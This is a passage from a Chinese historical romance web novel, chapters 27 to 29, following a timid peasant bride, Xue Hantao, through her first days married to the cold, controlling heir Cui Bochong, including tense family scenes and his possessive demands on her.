毕竟人与人之间的利用是相互的,宫里的皇帝想利用伯翀给自己的儿子铺路,将薛贵妃的妹妹嫁了过来,那么相反,将来他也要为了皇子费心保住伯翀这一脉。 “听舅父的,早些让你的夫人生下一个孩子。”杨解看着面前金质玉相贵气出众的青年,眼神沉痛,虽然武将地位不如文臣,但他还是更想念伯翀弃文从戎的那两年。身姿煌煌如日,天生便可令人倾心跟随。 若非受到小人暗算,岂能……活不过他一个暮年之人。 早日留下一个孩子,他的血脉不会断绝,那些功绩便也不会被人遗忘。 “这件事,我会考虑的。”崔伯翀沉默片刻,眼前闪过一颗桃子的身影,未一口应下,他如今还不明了她想如何活着。 有了他的孩子虽然利益丰厚,但也就意味着她将终身绑定他的印记,不得解脱。若是没有孩子,靠他的余荫庇佑,或许她还能得嫁旁人不至于孤独终老。 崔伯翀将她当作慰藉自己最后一段日子的甜意,那颗桃子委委屈屈挤出的汁水虽然不丰裕但却很甜,很滋润。 让人回味无穷。 他勾起唇畔,笑着目送一行挂念他的人离去,然后转头看向身旁的方振,淡淡问道什么时辰了。 “郎君,巳时将过,快要到午时了。”方振开口回答时间,忍不住又加了一句,“国公府对小桃而言还是个陌生地方。” 新婚的第一天,但凡女子被独自丢下,就没有不觉得害怕的。 虽然,世子送别远道而来的舅父一行人也很重要,但至少也要让人和小桃说一声。 方振想要提醒结果被无情地拦住了。 “越是害怕,越是无措,将来那颗桃子才会越感激我。”感激他高抬贵手,给了她喘息的空间,不至于让她陷入两难的境地。 崔伯翀平静地说道不冷不热若即若离对她是最好的安排,他对她淡淡的,看不出喜爱还是厌恶,对她有所要求的薛贵妃等人不会强逼她回报,看她碍眼的皇后和曹夫人也不敢轻举妄动。 “淡淡的,也包括…夜里?”方振吃了熊心豹子胆,忍不住为老实的小姑娘打抱不平,昨夜应该不是这样的吧。 他都能感觉到世子身上那股猝然转变的气息,餍足的,有些蛊人。 “这里是城外,方振,你既然想走着回去,我不拦你。”崔世子冷冷地剜他一眼,策马而去,并勒令所有护卫不得捎乘旁人。 这个旁人,当然就是指不会说话的方管事- 定国公府门口。 罗承武觉得自己迟早得发疯,他暴躁地骂了自己一句,心道昨日就不该想那些小姑娘独自徘徊的画面,得,今日好了吧,人又过来了。 从可怜巴巴的小农女到名正 言顺的世子夫人,不知道这个大门到底有什么值得她留恋的地方,一而再再而三地过来,让他们都不得不打起精神。 门房内,薛含桃抱着大黑狗坐在一只高高的椅子上,已经悄悄将四周都看了个遍。 没有发现之前令她身体发冷的恶意,她的目光移到了她很好奇的刀鞘上,忍了又忍,还是小声地问了一句话,“罗护卫,你的刀鞘打人疼不疼啊?” 之前她偷偷跑到定国公府门口,罗承武的刀鞘就成了她心头的一道阴影。她很想进去见一见方大哥还有…世子,告诉他们自己过的很好,可是,她怕自己被赶出去被用刀鞘狠狠地打在身上。 便是此时,薛含桃的目光也带着几分怯意,指尖发颤。 “回夫人,疼与不疼,要看属下的力道,或者说上位者的心思。上头的人厌恶来人,那力道大了,足以打断一根骨头,上头的人示意放过,那力道就轻了,便是最外的皮肉也不会留痕。”罗承武一板一眼地和她解释,没有忽略自己抬起刀鞘时她骤然发白的脸色。 这样的反应,他垂下眼眸,说明她以前被人打过。 “哦,哦,要看力道,看上头的心思。想打人的时候总是很疼的,不想打人就是故意装装样子。”她明白了,点点头,控制不住地从阿凶的身上捋下几根黑毛。 眼神变得很呆,世子为何不能装装样子呢?哪怕只是轻一点点。 薛含桃在这里坐了一会儿,看到这些人对她转变的态度,懂得了一些事实,她的身份确实和从前不一样了。 就像是果儿姐姐说的,她不仅是世子夫人,还是贵妃娘娘的妹妹,小皇子的姨母。 她和世子的婚事又是天子赐婚。 所以,薛含桃无声地呼了一口气,他吃自己这颗野桃,肯定是因为要看陛下的心思。桃子吃了,将自己放在府里,世子就算是完成了任务。 这个理由很充分,让她能够说服自己,宽慰自己。 应该只有这么一次吧,过了今日就好了,世子不给她准备房间也没关系,果儿姐姐说她的房间很大。 “果儿姐姐,你现在的房间,有几个我们之前的房间大?”她想到这里,急忙去问一边也好奇打量的果儿。 “起码,三个呢!”果儿比划了一下,眉眼间皆是满意。她早就发现了东院房间多人少,怪不得自己一个侍女也能住的如此宽裕。 不对,她赶紧反驳,明明是世子夫人身边的果儿姑姑。 三个那么大,薛含桃惊奇地瞪圆眼睛,那她和阿凶住进去也不拥挤! 也好,她搬进去住在临近窗台的位置,刚好可以照顾陶罐里面的嫩芽。 薛含桃默默地规划好了一切,等待世子归来处理了请安事宜后就和他表明态度,虽然已经被汲干了汁水但她不会在意的,就让她老老实实待在一个不被人注意的角落吧。 她也不会伤心,因为…薛含桃呆呆地望着骑在马背上的身影,恍若天上的明月坠落,来到了她的面前,她放下黑狗,脑袋发蒙。 脸上忍不住露出一个笑容,眼睛很亮。 崔伯翀也看到了她,看到了她甜甜的笑与亮亮的眼睛,但只一瞬,他不再看她。 而是翻身下马,将缰绳交到罗承武手中,脸上没有一丝笑容地问她为何会在这里。 “世子,夫人说要等您回府,”一直不作声的玉蘅这时开口,轻声道,“和您商议同去正房请安。” “请…安?”闻言,崔伯翀笑了起来,明亮的月光登时蒙上了一层厚厚的阴翳,“小桃子,你倒不如开口说为我送丧。” 他笑过之后,表情冷淡,“谁同你说的要去请安,给谁请安。” “我,我以为拜见公婆是嫁人后都要的礼仪。”薛含桃傻傻的笑变成了一副畏惧沮丧的模样,即便只是一个摆设,一开始也要摆的好看一些,不是吗? 可是,世子看起来颇为生气,送丧这样的话都说了出来。 她不知道哪里做错了,就像是不知道方才自己的勇气从何处而来。 乖乖地等待着世子归来不好吗?为什么偏要跑到门口来?大户人家讲究体面,应该不会和村里一样打骂不敬的儿媳。 “对不起。”她垂着脑袋,低声道歉。 “这一次,放过你,”崔伯翀看到了她垂头丧气想要逃离的样子,心念一动,又觉得她可怜。 让人很想欺负,欺负狠了却又不忍心,转头又开始宽宥她的过错。 他伸手抓住她的指尖,轻笑,“下一次,可就不会轻易过去了。” 一颗桃子呆呆的,想来是没有人告诉她,她口中的公婆是什么样的人,和他又是什么关系。 “这座府邸的主人的确生了我,也算养了我,我叫他父亲。你去向他请安,也说得过去。但,我该还的已经还清了。” 生了他,养了他,然后亲手送他去死。所以,根本没有请安也没有问好。 他是既丧父又丧母的人,某种程度上和她是一样的。 第27章 第二十七章这就是她的未来。…… 薛含桃顺从地被捏住指尖,有些痛也不吭声,反正不是第一次了,只是当着那么多人的面而已。 世子说已经还清了他的生养之恩,所以不必请安,她云里雾里听了一耳朵却不懂具体的内情。 她唯一知道的是赐婚圣旨上的内容,世子的父亲定国公名崔羿,世子是他的嫡长子。 堂姐只是着人给她讲解了大婚的规矩,并未涉及到世子的家庭与父母,想必知道的本就不多。 薛含桃现在唯一可以了解的人就是方振,可是她探头往身后望去,没有找到方大哥的身影,玉蘅告诉她世子和方大哥一同出府,怎么就回来了世子一个人? 很想问方大哥去了哪里,但她方才惹怒世子,世子说下一次不会轻易原谅她。 所以,薛含桃紧紧地闭上了嘴巴。 回去东院的路上,那些充满了恶意的目光已经全都消失不见,她的心情却比之前紧张。 垂涎血肉的秃鹫可以用火赶走,但面对世子,她是理亏的一方。 这便注定了她要被揉圆搓扁,明明骨头渣也不剩了,新婚后的第一天还被晾在一旁扔了东西,可她没出息到一句不满的话都不敢说。 回到东院,薛含桃才支支吾吾地问自己要做什么,“别的女子嫁了人…要做饭,缝衣服照顾家里。” 她不必和世子的家人请安问好,可以等同于分家理解,但好似这个小家也并不需要她。 世子肯定不需要她做饭,也不需要她缝衣,这里有许多伺候的人,就算挑鱼刺也轮不到她。 薛含桃很苦闷,她不知道具体该怎么做一个摆设。 “以前你什么样现在还是什么样。”崔伯翀平静地看向她的头顶,成为他的世子夫人当然不可能什么都不做。与人交际,掌管内务是最基本的要求,但她不行。 曾经,他仅仅带她步入另一个世界的角落,她都承受不了,慌张地欲要逃离,以后又如何和别人勾心斗角。 “除了东院,府里旁的地方不要去,多余的事情不要做。你还是你,一颗挂在枝头的寻常桃子。” 安安稳稳地吸收阳光,等着日头下山的余荫落在她的身上,然后成为一只脱胎换骨无人敢欺的仙桃。 “我会听世子的话,不乱跑,不给世子带来麻烦。”薛含桃听懂了,她仰头看着男人纯黑的眼瞳,小小地扯了扯嘴角,没有如何犹豫轻声应下。 只要吃饱肚子,只要有屋檐遮身,只要有美丽的衣裙穿,伴着一只大黑狗,老老实实,规规矩矩,不生事,不惹事,甚至不掺和世子的生活。 这不正是薛含桃一开始理解的未来吗?果然,昨夜世子仅是在完成任务,不会再有下一次了。 也好,她的肩后被狠狠咬住的地方现在还隐隐作痛呢。 她如释重负,向“名义上”的夫君崔世子请求让她继续抄书。 “我没有银子,抄书可以赚钱,银子用来买吃的肉。”薛含桃藏了一点小心思,担心被拒绝,连忙说还有满香楼的酥酪。 “库房里有笔墨,你想抄书还是作画都随便你。”崔伯翀漫不经心地留下一句话,松开了抓着她的手指。 果儿在不远处听 着,急的不行,娘子如今是堂堂正正的世子夫人还用抄什么书啊,库房里头数不尽的珍宝摆着,全是娘子的嫁妆。 果儿一大早没有先到薛含桃身边便是到库房盘查嫁妆去了,她不知道这些嫁妆要还回去,因为名册和库房的钥匙都给了娘子。 意思不就是任娘子使用吗? “……好。”薛含桃没有拒绝,她想自己用世子的笔墨,还有白吃白喝白住,这些将来就买世子爱吃的糕点和酥酪来偿还。 不够的话,她再帮世子做些别的活计。这么一想,她若有所思,确实和从前没什么两样。 真好,薛含桃眯起眼睛,模样很放松,一颗心也安定下来。 崔伯翀淡淡瞟去一眼,感受到她干瘪的身体内勃发的生机,墨眉微扬,总觉得这颗桃子听错了他的话。 不过,没关系,慢慢她就会懂,他该要的一点都不会少。 他在某种时候相当的苛刻,严格。 崔伯翀去了书房,舅父一行人前来参加他的大婚,如今折返,为保万无一失,他要写一封奏章呈到宫里说明。 “果儿姐姐,我们去给菜苗浇水施肥吧,再等方大哥回来。”薛含桃还是没有放弃想要一间自己的房,她如果继续抄书,有些秘密便要避着果儿姐姐。 现在,世子松口,她又觉得不必去挤果儿姐姐的房间。 果儿欲言又止,看娘子的模样昨夜不像是无事发生,可是娘子和世子之间为何变得冷淡下来……一定是娘子说去请安的事惹怒了世子,但娘子和她哪里知道定国公府的隐秘,所以,她瞪了玉蘅一眼,暗暗提醒娘子一句都不愿还故意拱火,可见此人心思不纯。 “已至午时,膳房会送午膳过来,夫人不妨先用了午膳再去做别的,也不必等世子,世子一般不与人一起用膳。”玉蘅全程不卑不亢,对着果儿的怒瞪微笑以对,她自认没有做错事。 反而是新夫人,确实惹了世子生气,世子虽然没有怪罪但态度肉眼可见地变淡了很多。 既然新夫人的姐姐是宫中的贵妃,玉蘅不相信她对国公府一无所知,薛贵妃怎么可能不告诉她。除非她是故意的? 玉蘅越来越觉得面前的新夫人难以看透,暗道便是方管事找过来,她也有理。 “嗯,好的。”薛含桃其实不怎么饿,只是玉衡都这么说了,她不可能让人白白地跑一趟,饭菜凉了更不好吃。 秉持着不麻烦别人也爱惜吃食的原则,薛含桃努力将自己和阿凶的肚子喂了个滚圆。 略歇了一会儿,她就开始忙活起来。 最先受到雨露浇灌的当然是摆在窗台的陶罐,接着就是从小院移过来的菜苗,最后,她看到世子书房外的几株桂花树,也悄悄松了松土,埋了点骨肥。 果儿去库房为她寻笔墨,薛含桃趁着日光温暖,提来一桶水,用香胰子为大黑狗洗了个澡。 住在别人家里,干净整洁一些才不会被人嫌弃,起码掉下来的毛发也是香喷喷的。 胰子是她和一个丰腴的侍女要的,她也有一个高深的名字,文玑。 阿凶其实不喜欢洗澡,对于一只生活在乡间的狗而言,毛发上没有灰尘才觉得不适。 可是主人坚持,它也只有听之任之。 “阿凶,你小心一点,千万不要甩头,我的衣服很贵的,弄坏了卖掉我们两个都赔不起。”庭院中,瘦小的她洗着一只大黑狗,嘴角微翘,嘀嘀咕咕。 不远处的一小片土地,几株小菜苗伴着一丛长势茂盛的重瓣芍药慢慢扎下根系。 写完奏章,令人送进宫中,崔世子享受着书房里刺骨的冰冷,感到了一分饥饿。 他起身而出,慢悠悠地想着中午的午膳可以吃一条鱼,最好,是被人挑完了刺的,洁白的一片,放在自己的手边。 结果,侍女告诉他,他的世子夫人已经用完了午膳,正在给一只掉毛的老狗洗澡。 “还有一事,世子,方才正院派人过来,说是公爷和曹夫人为夫人准备了见面礼,奴婢不知如何处置也不敢打扰世子,就让那人先在茶间等候。” 玉蘅有些忐忑,往日和正院的往来并非没有,但都是方管事处置,今日不知何等缘故,方管事竟然没有回府。 她只能趁世子忙完赶紧过来禀报。 “只是见面礼?把那人带过来。”崔伯翀面色阴冷,所有兴致消失的一干二净,看来不只是那颗呆桃子惦记着去请安,有人不死心也在试探他的态度。 毕竟生他养了他,外人眼中,仍是他的父亲。成婚当日,跪拜的时候可以用赐婚圣旨替代他的位置,但今天,若是有人刻意为之,他确实逃不了一个不孝的罪名。 “是。”玉蘅提着一颗心退下,从茶间叫来了那人- 倒掉最后一盆不怎么污浊的水,薛含桃找来一条干巾,为大黑狗擦拭,湿透的毛发脱落,她一边捡一边又嘱咐阿凶不准乱动。 “等我再赚一点银子,就去药铺抓一些茯苓回来,和芝麻一起熬煮,或许可以治毛发脱落。阿凶,天气要变冷了,你可不能再掉毛了。” 她操心的事情很多,不止是大黑狗,过两日还是小皇子满月,也得准备礼物。 薛含桃预备做些藤编的小东西,再买些红鸡子,加上慈恩寺前供的佛经,阿姐给的绢帛做成的小衣服,也许……足够了。 世子应该也会送贺礼吧,不知她可不可以蹭一蹭。 薛含桃想的出奇,没注意到她的身后已经多出了一道阴翳的影子。 大黑狗伏低了身体表示臣服,她才发现,愣愣地转过身,面前是世子。 他的脸上和身上都裹挟着一道寒气,静静地注视她。 “和我一起去正院,”崔伯翀的眼珠有一点红色,“我差点忘了,你的名字得加在我的旁边。” 见面礼和请安都不重要,这个才是重点。 薛含桃老老实实地点头,他说什么自己就做什么,只犹豫要不要再洗一遍手。 她的指尖还沾着阿凶未干的毛发。 世子果然很嫌弃,这一次连她的手都没牵,面色阴郁地走在她的前头,薛含桃小跑才能跟上他的步伐。 来到一处和东院世子的房间不相上下的地方,世子停下了脚步,她小口喘气,看到不断打量她的眼神,恍然明白这是要见世子的家人了。 虽然世子与这些人之间似乎不大和睦,他们看自己的目光也带着嘲笑与不友好,但薛含桃还是认真地辨认了每个人的相貌。 有高大的中年男子,有温婉和气的妇人,还有美丽稚嫩的少女,以及一脸戏谑称她为嫂嫂的年轻男子。 他的笑,他的目光,黏腻地仿若一条毒蛇滑过,薛含桃都不喜欢。她悄悄地往世子的身边靠近,更近一些。 “既然已经成婚嫁到我崔家,以后就安心相夫教子。”高大的中年男子用和崔世子三分相似的眼睛扫过薛含桃一眼,她便知道了他的身份,动了动嘴唇,木讷地回了一个字。 “嗯!” 这样世子就不会生气吧,她小心翼翼地看他的反应。 “我来了,族谱呢,把她的名字加上。”崔世子的反应很平淡,仿佛面前是一个无关紧要的人,眼中还有几分不耐。 除了定国公,其他人纷纷被他无视,只是等到名字被加上,在转身示意薛含桃和他一起离开时,他随手往旁边扔过去一个瓷杯。 瓷杯狠狠砸在一个人的正脸上,鲜血淋漓。 “再看一眼,这双招子挖了当鱼食。”崔伯翀漫不经心地看过去,像看一条蛆虫。 第28章 第二十八章可惜,晚了。 红色的血从额头滴落也是黏腻的,令人作呕。 堂中一时寂静无声,谁都没想到方才反应淡漠的崔世子会突然动手,丝毫不留情面,直将瓷杯砸到人的脸上。 若是再往下一些,那双眼睛是真的会瞎掉。 终于意识到发生了什么,被砸中的年轻男子发出了一声嘶哑的痛叫,堂中温婉的妇人和美丽的少女也立刻仇恨地看过来,但都没有说 话。 她们的眼神中有着愤怒和……畏惧。 薛含桃也被骤然的变故惊住了,不过听着世子挖人眼睛的话,她竟不觉得害怕,还想离他更近一些。 是因为那个人看了她吗? 她自然地垂下头,看到了自己的手,沾在上面的毛发虽然已经不见了,但不柔软也不滑嫩,笨拙地就像她这个人,没有任何吸引力。 薛含桃默默地猜想,应该还是因为这个男子早前就惹怒了世子。 令人窒息的沉默中,定国公崔羿命仆人将他的四子扶到一旁,诘问他为何要动手。 崔伯翀连头都没回,目光斜睨,淡淡笑道,“一个五毒俱全的废物,若不是杀他都脏手,早就死了千八百遍。” 他捻了捻指腹,声调不快不慢,仿佛在强调自己方才那一下,手已经脏了。 一个肮脏的东西,叫人看不顺眼,随手扔个杯子砸过去,是人之常情。 这种自然流露的刻薄最是扎心,薛含桃留意到堂中那些人的脸色变得更加难看,仇恨也更加强烈,她不安地扭动了一下身体。 世子不仅分了家,还与他的这些家人矛盾重重,形若仇人。 她之前果然做的不对,怪不得世子连她的手都不愿意牵了。 少女在心中羞愧地检讨自己的错误,然后头顶传来了一声微冷的不耐,“还不走。” 薛含桃急忙跟上他的脚步,走到门外,她脸上露出一个笑容,带着讨好,“世子的手脏了,我有和文玑要来的香胰子,可以洗干净。” 仿佛只要洗干净她就能得到原谅,之前的错误就不存在了。 可惜崔世子并不受用,他垂眸望向她洗过黑狗的手指,语气冷淡,“你分不清好歹,把我当作狗吗?” 分不清好歹,笨的出奇,才会盯着崔季徽那个废物的脸看,惹来一道恶心的觊觎。 “我只是怕世子觉得不舒服。”薛含桃被他刺的唇色发白,小声地辩解,懊恼讨好又没到点子上,“洗干净就不会……不舒服了。” 没等她将话说完,崔伯翀就直接走开,留给她一个冷峻的背影。只是优雅的步伐没有来时那么快了,是她可以跟上的速度。 薛含桃呆呆地站了一会儿,无声地走在他的身后,身体被他的影子完全覆盖,换一个角度不仔细看可能发现不了她。 定国公府正院的人很多都看到了这一幕,心里模糊留下了一个印象,新夫人在世子那里并不受宠。 不意外,若非陛下赐婚世子怎么可能娶这么一个平凡的女子。 “可是,世子已经很久没有来过正院了,这次算是为了新夫人过来的。” 有人开口反驳,也有寥寥几人附和。 世子对待世子夫人的态度,真是令人捉摸不透- 临近黄昏的时候,方振终于从都城外头回到了定国公府。 他踏进东院,先是寻找世子和小桃的身影,当发现世子躺在书房的躺椅上小憩,而少女就在院中的一角安安静静地为大黑狗梳毛时,他很是松了一口气。 没有发生什么事便好,毕竟是两人新婚的第一天。 方振安心回去了自己的住所休息,他一路从城外走回国公府,中途连口水都没喝,累的不轻。 估计要等到明日才能缓过来。 由此可见,崔世子有时候的心确实很硬,陪伴了二十多年的奶兄都不能令他软一软心肠。 薛含桃嫁进来不到一天,就更不可能了。 从正院回来后,他一直未理会她。 到了傍晚,薛含桃忐忑地找过去,想问能不能为她安排一个房间,才从玉蘅的口中得知世子在书房内的净室沐浴。 沐浴之后就是入寝,自然是不能被人打扰的。 否则,世子可能又要怀疑她居心不良欲擒故纵。 薛含桃长长地叹了一口气,如同一只无家可归的小老鼠一般灰溜溜离开,现在还没看到方大哥,今晚就和果儿姐姐住在一起吧。 两人一狗用完晚膳,她若无其事地提出要到果儿的房间居住,然后果儿大惊失色,直呼一声,“这怎么可以?” 显然果儿理解的从前怎样现在还是怎样和薛含桃的理解完全不同。 在她看来,也许崔世子的话只是一种寻常的陈述,让娘子安心安分地做世子夫人,不要生事而已。 “娘子,您与世子新婚,却跑到我一个奴婢这里居住,传出去,那个玉蘅还有这里的仆人侍女肯定会在心里议论您。我,我也不敢让娘子如此,宫里的贵妃娘娘知道,定然狠狠地处罚我。”果儿看不懂事情的症结所在,她哪里知道薛含桃只是一个世子不得已娶进门的摆设,苦口婆心地继续说娘子要快些适应才能与世子的感情好起来。 “娘子在世子身边停留地越久,就像是今天早上,府里的下人才不会怠慢小瞧您。”果儿说的头头是道,言语之间还提到了薛含桃曾经买过的那本春宫图,笑容很是暧昧。 薛含桃被弄了个大红脸,和果儿再无话可说,是啊,她忘记了果儿姐姐终究是堂姐派出来的人,自然希望她与世子夫妻感情和睦。 她挤到果儿姐姐房中,堂姐或许只是觉得她没出息骂一两句罢了,但对果儿姐姐,可能便是重罚。 “我开玩笑的,世子的房间太大,我确实不习惯。”薛含桃抿紧唇瓣,对着果儿笑笑,目光慢慢地移到了阿凶的身上。 “阿凶昨夜和方管事在一起,娘子,今天就让阿凶到我房间去吧,来到这里太陌生,我也有些不习惯。”果儿讪讪一笑,早上起身发现空落落的房间里面只有她一个人,饶是果儿胆大也回神了好一会儿。 阿凶若在,她起码能有个伴。 再者,果儿觉得娘子和世子新婚燕尔,多一只狗在那里实在不像样子,方管事大概和她一个想法才会让黑狗叫去自己的住所。 最终,薛含桃不仅没能住在果儿的房间,大黑狗阿凶也被几块肉干从她的身边叫走。 不过好在,陶罐被她从窗台上抱走了,种子差一点被扔掉,不自己看着她不放心。 夜色慢慢地深了,薛含桃茫然地抱着一个陶罐,在那些菜苗的前面,站了很久。 她还是回了那个又大又华丽的房间,只是没有靠近床榻。 “不用…你们在这里,我自己就可以清洗身体。”薛含桃鼓起勇气拒绝了想要服侍她的侍女们,小心翼翼将陶罐放在自己看到的地方,囫囵地给自己洗了一个澡。 肩膀的后面还有些疼,她没有在意。 那些侍女们很恭顺,薛含桃换上厚实的里衣出来时她们已经听从吩咐退下了。 “这里的光线最好,还能吹到风。”她趁着世子还没有回来,为陶罐精心挑选了一个位置,摆放好。 这一次,她连床榻上的被褥也不敢动了,找到自己换下的衣服,她裹着坐在了房间垂下的帷幔后面。 深色的帷幔一直垂到地面,恰好和墙壁形成了一个狭窄的,密闭的空间,比昨夜的角落更加的不惹人注意。 如此,世子就不会再发现她了吧。 不会误会她,不会在意她,也不会生气。 房间里面很安静,有清冷的月光洒进来。薛含桃倚着墙壁,隐在帷幔后面,呼吸慢慢变得平稳起来。 就算只是坐着,就算身上没有被褥,可还是要比她从前的那个小屋好多了,也更容易入睡。 嗅到的是淡淡的熏香,背后的触感也很平滑。 她不知 道就在她酣然入睡的时候,有人在找她,疯狂地寻找- 不爽了一下午的崔世子决定晚上要从那颗桃子的身上讨回甜意滋润。 他很苛刻,付出怎么能没有回报,他给她想要的安稳生活,那她自然也要把她的汁水全部献出来。 然而就在他洗去身上沾染的药味,一脸不虞地返回到房间后,崔伯翀发现他的新婚夫人又和他玩起了失踪。 偌大的房间内空无一人,只有几缕月光仿佛在无声地嘲笑着他。 她只是因为救命之恩而感激你,敬畏你,不代表喜欢你,愿意取悦你。 在她的心中,或许你和她曾经的未婚夫宋熹没有两样,都是相同的卑劣。那一次你带她去赴宴,她不就被你吓跑了吗?想哭又不敢哭,真可怜。 崔伯翀沉着一张脸,平静地唤来了守在房外的侍女,问他的世子夫人去了何处。 “夫人……不就在房中吗?奴婢未曾见夫人离开。”侍女回答的模样战战兢兢,肯定世子夫人就在房间里面。 可是人不见了。 闻言,崔伯翀勾着唇,轻轻地笑,他重新回到房中。 一双纯黑色的深眸紧紧地盯着每一个地方。 床榻里面,没有。 昨夜躺在的角落,没有。 屏风后面,没有。 熏炉、桌下、窗边……通通没有…… 崔伯翀的一颗心在胸腔里面急促地跳动,仿佛下一刻就会从他狰狞的伤疤中越出来。 然后,他手背青筋暴起,一把掀开房柱旁边的帷幔。 人找到了,不明内情的小姑娘双手抱膝,背靠着墙壁,睡姿香甜。 他注视着她,慢慢地蹲下身体,说了一句话,“原来,你是不情愿的。” 但是,可惜,晚了。 第29章 第二十九章就不能放过她吗? 天光微亮时,薛含桃就从睡梦中醒来了,除非太累,她一般不睡懒觉。 睁开眼睛发现自己还在原地,天色也还早,她放松地吐一口气,果然啊,世子没有发现她,想来少了她世子的心情能好一些吧。 薛含桃发了一会儿呆,才意识到情况有些不对。世子屋中的帷幔质量大概不怎么好,不知何时掉落下来,深色的布料将她裹成了一个粽子。 她昨夜就睡在了这团帷幔围成的布料上,手指头摸了摸,挺柔软的。 好温暖啊,都不舍得起来了。 薛含桃伸了伸懒腰,从里面钻出来,忽然想到这处脱落下来的帷幔应该会被丢掉,而她刚好没有被褥,或许可以拿去用。 从崔伯翀的角度看去,少女跪坐着将帷幔仔细叠在一起,瘦弱的身躯仿佛怀着一股留恋。 他的指骨不轻不重地叩击了一下,薛含桃慌里慌张地回过身,才发现自己的一举一动早就被人收到了眼底。 她紧张地跌坐在地上,仰着头喊了一声世子,脸色涨红。 崔伯翀走过来,居高临下地看向被她折叠在一起的帷幔,意味不明。 “……帷幔是掉下来的,不是我弄的。”薛含桃顶着他清冷的眼神,说话的声音越来越小,也越来越心虚。 难道真是自己睡着的时候扯到了,不知世子让不让自己赔? “你赔不起。”崔世子淡然开口的瞬间,薛含桃才猛然意识到自己将心里的话说了出来。 “那要怎么办?”她颓然垮下小脸,像是老实的犯人一样,等着世子的发落。 “你欠了我很多,可是我才发现原来你不明白。”崔伯翀向她靠近一步,直接踩在她刚刚叠好的帷幔上,身上的气息将她整个人萦绕在其内。 “从前你和那只老狗的两条命,眼下的帷幔,全都是你欠我的。” “我想了一夜,决定还是好好地和你说清楚,免得你总是赖账,不情愿。” 他的薄唇殷红,轻轻慢慢地吐出一句句让薛含桃含羞带愧的话。 没想到她竟然劳累世子想了一夜。 是啊,她确实亏欠世子太多,救命的恩情,不匹配的婚事……昨天还两次三番地惹世子生气,可还给世子的只是一些随便就能买到的吃食。 “我不会赖账,世子叫我还什么,我一定听话!”薛含桃急切地表态,扬起头颅露出纤细脆弱的脖颈,像是在告诉男人拿去她这条命都可以。 她愿意献出一切来偿还。 崔伯翀的手指是坚硬的,可能是喜欢用冰,碰到人的脸上如同一块寒玉,慢慢悠悠,不知在考量什么。 薛含桃小小地瑟缩了一下身体,下一刻她就被捏住下颌被迫将头颅抬的更高,终于,与他对视,看到他眼睛里面深沉的寒意。 以及一夜未睡的淡红色血丝。 她不禁在想,原来自己安然入睡的时候,世子就在一旁静静地注视她吗?一联想到这个画面,薛含桃红着眼眶快要哭了,她怎么总是做错事。 “无论还什么,我都会给的。没有不情愿,也不会赖账。” “没有不情愿,那你,我的世子夫人,怎么睡在了这里啊?”崔伯翀好整以暇地询问她,也颇有耐心地等待她的回答。 “我不想打扰到世子,等方大哥为我安排好房间,我一定就不睡在这里了。”薛含桃欲哭无泪,果然还是因为自己睡在世子的房间越过了界限,虽然她已经很小心了。 这时听了她解释的崔世子发出了一声嗤笑,残忍的,又颇具温情的,“可是,只有你这颗桃子的躯体能用来偿还我。” “新婚之夜,”他语气微微停顿,目光充满了赞赏,“你做的很不错。” 新婚之夜,那个混乱迷醉的晚上,她被他吃掉了,榨干了汁水,现在肩膀的后面还有隐隐的被噬咬的感觉。 薛含桃的身体打了个寒战,一双大眼睛中逐渐生出恐惧,慢慢地缩着自己的手脚想要重新藏在帷幔的后面,不被发现。 “一定要这样,一次……不够吗?”她胆怯不已,期期艾艾地希望善良仁慈的崔世子可以高抬贵手。 她只有薄薄的皮肉,剩下全是骨头,吃起来的味道不好,不如就放过她吧。 她怕被吃掉时不能呼吸的感受,也怕沉浸在其中真的会生出妄想,有些东西一旦扎了根,等到必须被扯掉的时候该有多痛啊。 薛含桃从来不认为自己可以长久地做世子夫人,小皇子的地位彻底稳固那天,或许她就该离开了。 所以,她乞求换她拥有的别的来偿还。 “当然,不够。”闻言,崔伯翀温柔地摸了摸她的头,“你要做的唯一一件事就是被我吃掉。” 献出你甜蜜的汁水,无论愿不愿意,直到我死去的那一天。 薛含桃呆呆愣愣地睁着眼睛,没有办法说出一个不字。 大概,瘦巴巴也不美丽的躯体,世子觉得新奇吧。若是厌倦了,还会让她做回一个摆设。 她只要保证自己清醒着不陷进去,永远牢记不生出妄想,也许还是能不带着痛苦离开。 “我会乖的。”她低声回答- “小桃,你的脸色怎么看起来不太好?” 这天中午,方振终于见到了她,第一反应是诧异,往日面对他总是笑吟吟的小姑娘恹恹的,连头都不敢抬。 眼皮有些红,精神也不足。 “方大哥,我不知道国公府的情况,惹怒了世子好几次。”薛含桃抿着唇,没说出自己真正的忧愁,只说要和方振了解定国公府里面的别人。 她想,世子应该不愿意称他们为自己的家人。 “贵妃没有让人同你讲解?”方振疑问,得到她的嗯声后,神色变得复杂起来,看来小桃的亲堂姐存着不少私心。 他简单说了一遍定国公府的情况,包括世子的生母杨夫人,正院如今的曹夫人,以及世子的几个异母弟妹。 “世子是嫡长,和曹夫人这个继母还有她的儿女们关系淡淡。近些年相处越发不好,平时东院是不跟他们来往的。”方振没有仔细说其中的矛盾,只说少在世子面前提那些人即可。 至于世子的亲生父亲定国公,他道,“国公从前看重世子,一直悉心对世子教导,但世子弃文从戎引得国公大 怒,父子之间反目成仇。前两年发生了一件事,国公…对不起世子,小桃,以后你会明白的。” 现在的他,无法说出真相。 “嗯,方大哥,我不和他们来往就是了。”小姑娘很听话,还是那个老实的性子,只要叮嘱了她,她便不会让人再操心。 真好,这样的人才适合待在世子的身边,他当初没有看走眼。 只是,她肯定要被世子那个硬心肠的人欺负。 方振叹一口气,让她有任何事尽管来找他。他是东院的总管事,也算有些话语权。 “能不能让人为我做两件细布裙子?世子把我原来的衣服都扔了,现在的衣服料子都太名贵了,我根本不敢穿出府……”薛含桃眼巴巴地搅了搅手指头,又问自己何时能出府。 她想要迫切地回归到重新的生活,消弭自己的不安。 “辰时之后,你可以从角门进出,最好申时之前归来,每次出门都要至少十个护卫跟从。” “那么多人,书阁还会要我的书吗?”她有些苦恼,从前世子出门身边只有一个罗护卫呀。 方振笑着解释,“放心,你若不想他们露面,让他们暗中跟着就可以了。” “嗯嗯,这样好。”薛含桃赶紧应下,准备用完午膳就和果儿姐姐一起出门。 她要做的事情很多,首当其冲就是为小皇子准备满月的礼物。现在只差煮好的红鸡子了,得去坊市买新鲜的鸡子回来。 还要给阿凶买些生发的芝麻茯苓。 刚好这时,阿凶压着嗓子叫了一声,薛含桃便说去用午膳。 她的膳食都是和果儿姐姐还有阿凶一起,和从前也没区别,只是菜肴过于丰盛,味道也好,还不用她花银子。 吃人嘴短,所以反过来被吃,她忽然觉得自己不该生出那一点点的委屈。 